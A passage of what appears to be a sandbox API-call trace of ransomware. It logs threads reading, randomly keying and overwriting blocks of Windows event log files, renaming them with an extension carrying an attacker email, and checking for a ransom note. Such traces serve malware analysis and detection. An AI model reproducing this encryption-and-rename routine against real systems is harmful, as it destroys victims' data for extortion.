nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xabef8e8, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xabef8e8*=0x8, lpOverlapped=0x0) returned 1 [0167.328] WriteFile (in: hFile=0x528, lpBuffer=0xabef900*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xabef8e8, lpOverlapped=0x0 | out: lpBuffer=0xabef900*, lpNumberOfBytesWritten=0xabef8e8*=0x4, lpOverlapped=0x0) returned 1 [0167.328] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xabef8e8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xabef8e8*=0x4, lpOverlapped=0x0) returned 1 [0167.328] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xabef8e8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xabef8e8*=0x6c, lpOverlapped=0x0) returned 1 [0167.328] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xabef8e8, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xabef8e8*=0x20, lpOverlapped=0x0) returned 1 [0167.328] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xabef8e8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xabef8e8*=0x4, lpOverlapped=0x0) returned 1 [0167.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.328] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.328] CloseHandle (hObject=0x528) returned 1 [0167.329] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x116) returned 0x2f96a28 [0167.329] wcscpy (in: _Dest=0x2f96a28, _Source="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0167.329] wcscat (in: _Dest=0x2f96a28, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.329] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.329] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96a28) returned 1 [0167.330] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.330] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3a08 [0167.330] wcscpy (in: _Dest=0x2fe3a08, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.330] wcscat (in: _Dest=0x2fe3a08, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.330] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3a08) returned 1 [0167.330] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97678) returned 1 [0167.330] RtlExitUserThread (Status=0x1) Thread: id = 1657 os_tid = 0xab8 [0167.332] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.335] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.336] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.336] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xac6fb4c | out: lpFileSize=0xac6fb4c*=1052928) returned 1 [0167.336] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x1010fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.336] ReadFile (in: hFile=0x528, lpBuffer=0xac6fb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xac6fb1c, lpOverlapped=0x0 | out: lpBuffer=0xac6fb20*, lpNumberOfBytesRead=0xac6fb1c*=0x4, lpOverlapped=0x0) returned 1 [0167.337] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f964a8 [0167.337] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96520 [0167.337] NtQuerySystemTime (in: CurrentTime=0xac6faf8 | out: CurrentTime=0xac6faf8*=132121213246578917) returned 0x0 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0xfca922e5 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x7a45334 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x2df5ad47 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0xb37b8e21 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x943c98b6 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x973ba356 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x608b8501 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x76ab76cc [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0xa02a1b02 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x30f0993f [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x2974c976 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x1328fcc4 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0xd0392856 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0xe55531a1 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0xc9d759e7 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x97c06eee [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x78190331 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x21f543e5 [0167.337] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x8f147341 [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x126fa1ee [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x8524e28 [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x4db0b65e [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x56e9e678 [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x8dcbb10f [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0xafbda35a [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x7319fc81 [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0xd3deff18 [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x3406f688 [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0xbeb01dec [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0xaaf57a7f [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x10c30b8f [0167.338] RtlRandom (in: Seed=0xac6fb04 | out: Seed=0xac6fb04) returned 0x4b0525a6 [0167.346] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.348] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.348] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f966d8 [0167.348] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.348] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96278) returned 1 [0167.348] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.348] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.348] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xac6fab8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xac6fab8*=0x4096, lpOverlapped=0x0) returned 1 [0167.350] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0167.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.350] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96408 [0167.350] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96408) returned 1 [0167.351] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.351] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96548 [0167.351] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96570 [0167.351] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96570) returned 1 [0167.351] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.351] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0167.351] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xac6fab8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xac6fab8*=0x4096, lpOverlapped=0x0) returned 1 [0167.351] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.351] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.352] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xac6fab8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xac6fab8*=0x4096, lpOverlapped=0x0) returned 1 [0167.353] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x812c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.353] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87158 [0167.353] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2fab128 [0167.353] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96318 [0167.353] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96318) returned 1 [0167.353] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.354] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96390 [0167.354] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96570 [0167.354] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96570) returned 1 [0167.354] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab128) returned 1 [0167.354] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87158) returned 1 [0167.354] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xac6fab8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xac6fab8*=0x4096, lpOverlapped=0x0) returned 1 [0167.354] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.354] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.354] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xac6fab8, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xac6fab8*=0x4096, lpOverlapped=0x0) returned 1 [0167.356] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xfd06a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87818 [0167.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faacf0 [0167.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f965e8 [0167.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f965e8) returned 1 [0167.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963b8 [0167.356] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96728 [0167.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96728) returned 1 [0167.356] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faacf0) returned 1 [0167.357] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87818) returned 1 [0167.357] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xac6fab8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xac6fab8*=0x4096, lpOverlapped=0x0) returned 1 [0167.357] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.357] WriteFile (in: hFile=0x528, lpBuffer=0x2f96548*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xac6fb14, lpOverlapped=0x0 | out: lpBuffer=0x2f96548*, lpNumberOfBytesWritten=0xac6fb14*=0x20, lpOverlapped=0x0) returned 1 [0167.357] WriteFile (in: hFile=0x528, lpBuffer=0x2f96390*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xac6fb14, lpOverlapped=0x0 | out: lpBuffer=0x2f96390*, lpNumberOfBytesWritten=0xac6fb14*=0x20, lpOverlapped=0x0) returned 1 [0167.357] WriteFile (in: hFile=0x528, lpBuffer=0x2f963b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xac6fb14, lpOverlapped=0x0 | out: lpBuffer=0x2f963b8*, lpNumberOfBytesWritten=0xac6fb14*=0x20, lpOverlapped=0x0) returned 1 [0167.357] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.357] WriteFile (in: hFile=0x528, lpBuffer=0x2f966d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xac6fb1c, lpOverlapped=0x0 | out: lpBuffer=0x2f966d8*, lpNumberOfBytesWritten=0xac6fb1c*=0x8, lpOverlapped=0x0) returned 1 [0167.357] WriteFile (in: hFile=0x528, lpBuffer=0xac6fb34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xac6fb1c, lpOverlapped=0x0 | out: lpBuffer=0xac6fb34*, lpNumberOfBytesWritten=0xac6fb1c*=0x4, lpOverlapped=0x0) returned 1 [0167.357] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xac6fb1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xac6fb1c*=0x4, lpOverlapped=0x0) returned 1 [0167.358] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xac6fb1c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xac6fb1c*=0x6c, lpOverlapped=0x0) returned 1 [0167.358] WriteFile (in: hFile=0x528, lpBuffer=0x2f964a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xac6fb1c, lpOverlapped=0x0 | out: lpBuffer=0x2f964a8*, lpNumberOfBytesWritten=0xac6fb1c*=0x20, lpOverlapped=0x0) returned 1 [0167.358] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xac6fb1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xac6fb1c*=0x4, lpOverlapped=0x0) returned 1 [0167.358] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f964a8) returned 1 [0167.358] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963e0) returned 1 [0167.358] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f966d8) returned 1 [0167.358] CloseHandle (hObject=0x528) returned 1 [0167.358] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe8) returned 0x2fc4850 [0167.358] wcscpy (in: _Dest=0x2fc4850, _Source="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731" [0167.358] wcscat (in: _Dest=0x2fc4850, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.358] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.359] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.359] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4850) returned 1 [0167.359] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0167.359] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2fe3948 [0167.359] wcscpy (in: _Dest=0x2fe3948, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0167.360] wcscat (in: _Dest=0x2fe3948, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0167.360] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0167.360] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3948) returned 1 [0167.360] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e6b0) returned 1 [0167.360] RtlExitUserThread (Status=0x1) Thread: id = 1658 os_tid = 0xd40 [0167.364] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0167.364] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.364] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.364] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xacef75c | out: lpFileSize=0xacef75c*=69824) returned 1 [0167.364] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.364] ReadFile (in: hFile=0x528, lpBuffer=0xacef730, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xacef72c, lpOverlapped=0x0 | out: lpBuffer=0xacef730*, lpNumberOfBytesRead=0xacef72c*=0x4, lpOverlapped=0x0) returned 1 [0167.365] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.365] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96318 [0167.365] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f963e0 [0167.365] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f962c8 [0167.365] NtQuerySystemTime (in: CurrentTime=0xacef708 | out: CurrentTime=0xacef708*=132121213246729866) returned 0x0 [0167.365] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x38167fd2 [0167.365] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xbc9ad511 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x1c26b9eb [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x2b0ca46f [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x9140fb79 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x4210d94b [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xfbdbdebe [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x9273cad5 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xbfa1bef9 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x4cfe6173 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xf02ca74f [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x91a899f3 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x8bab2495 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xc4df8ae0 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xac667d3 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x35a5dd86 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xaf9971e1 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x9b450ef4 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x17807387 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x982fa214 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x2a108c90 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xe7a9f77c [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xb586cf4a [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x7f01711d [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xa563637c [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x7107f827 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x87011f73 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x106c8250 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xe12cf7bf [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x1f737009 [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0x1fae1d1c [0167.366] RtlRandom (in: Seed=0xacef714 | out: Seed=0xacef714) returned 0xa67dd433 [0167.375] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f96278 [0167.377] 